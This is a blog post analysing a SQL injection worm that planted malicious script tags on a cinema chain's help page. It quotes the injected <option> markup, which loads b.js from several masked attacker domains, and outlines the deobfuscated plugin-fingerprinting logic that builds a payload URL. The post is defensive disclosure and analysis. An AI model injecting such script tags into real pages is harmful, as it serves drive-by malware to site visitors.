It started with the online purchasing of movie tickets
Since I’ve been running with the NoScript addon within Firefox I’ve found that when pages try to load remote scripts they seem to be much more noticeable. This was particularly the case when over a month ago I was purchasing tickets online through one of our local, Australian cinema chains (Greater Union) and I ended up on the help page. In this instance, I had already temporarily allowed the primary site in NoScript so I could purchase the tickets (the site needed this functionality to work), but when the help page loaded NoScript advised me that there were another 6 domains with scripts that wanted to run. When I clicked the NoScript button at least 4 of those other domains did not appear legitimate, such as bin###.com, adw*.com, app##.com.
At the time I didn’t think much of this event and simply closed the help page and continued purchasing my tickets. I was in a rush of course and had to get to the movies to see Iron Man or something. A few days later I checked the page again and this time noticed that the scripts appeared to be pointing to different domains. When reviewing the HTML source it also became apparent that the javascript calls were not likely to be legitimate, as they seemed to be called inside ad-hoc <option> tags. For example:
<option value='cinebuzz_club#Cinebuzz Club<script src=http://www.hl***.com/b.js></script><script src=http://www.bin###.com/b.js></script><script src=http://www.apps##.com/b.js></script><script src=http://www.app##.com/b.js></script>'>Cinebuzz Club
The SQL Injection Worm
A quick Google search for “b.js” had a number of hits, but the article that provided the most information was the SANS Diary on “SQL Injection: More of the Same“. It appeared as if the first reported instance of this SQL Injection Worm was reported by SANS in May. The original summary of the vulnerability, as seen here, describes the javascript as opening a hidden iframe, which in turn opens up other iframes (dependent on your browser), eventually trying to download or execute a malicious piece of software.
The current incarnation of the site appears to be a little more advanced as the malicious domains hosting the b.js file appear to be fast-flux hosted, as written up here, and the content within the subsequent hidden iframe is obfuscated javascript (yay). But using the technique as described here (in fact the obfuscated javascript looked really similar) using Mozilla’s Rhino, the script eventually exposed the following logic:
- Set default values for 4 variables
- Loop through navigator.plugins looking for: QuickTime, Adobe Acrobat, Shockwave Flash
- For each of the 3 plugins, set a value for against one of the first 3 variables, depending on subsequent logic that looks at version numbers for each plugin
- Try and check that the video/x-ms-wmv is an enabled plugin, and set the 4th variable
- Construct a new target script URL dependant on the above variables, for example: evil##.com/cgi-bin/index.cgi?c82fc0be071f01200077e0ed58020000000002804b628eff00 + var1 + var2 + var3 + var4
I haven’t had much luck in getting the target website to produce anything other than a HTTP 500 response, but I’m assuming that depending on the parameter passed to index.cgi the server then spews out a different exploit or piece of malware.
The Problem
The primary concern I have with this piece of malicious javascript is the fact that Greater Union actively advertises and insists that their customers use the online channel for purchasing tickets. In fact, they’ve made it increasingly difficult to purchase tickets at the cinema itself because you then lose the ability to choose your seats. The only way to guarantee particular seats is to buy your tickets online. So we’re stuck in a situation where we are recommended to purchase tickets online, the only method of course is by submitting credit card information, and other portions of the website are hosting malicious javascript exploited by an underlying SQL Injection vulnerability. How do we know that the ticket-purchasing portion of the website doesn’t have similar vulnerabilities? The short answer is we don’t.
What exacerbates this is the fact that it’s been over a month and the vulnerability has not been fixed. In fact, if the target domains keep on changing, it implies that the site keeps on getting exploited. The “baddies” are updating their code, updating the malicious payloads, and are re-exploiting this site over and over again. This certainly impacts upon my trust in them as a provider to keep my personal information/credit card information protected. If their site is susceptible to a SQL Injection worm, then someone doing targeting hacking against the site is likely to uncover all sorts of information.
What can we do?
Moving this forward and trying to provide some sort of assistance, a couple of things I would recommend if I were in their shoes would be:
- Firstly I would find your vulnerability and patch/fix it. (There’s been a lot of talk about Scrawlr recently, that’s probably a good place to start).
- Secondly I would review the rest of the code base for any similar issues.
- Thirdly, start to put some strategy around embedding security within your development lifecycle (SDL/SDL-IT/Whatever), if it isn’t already in place.
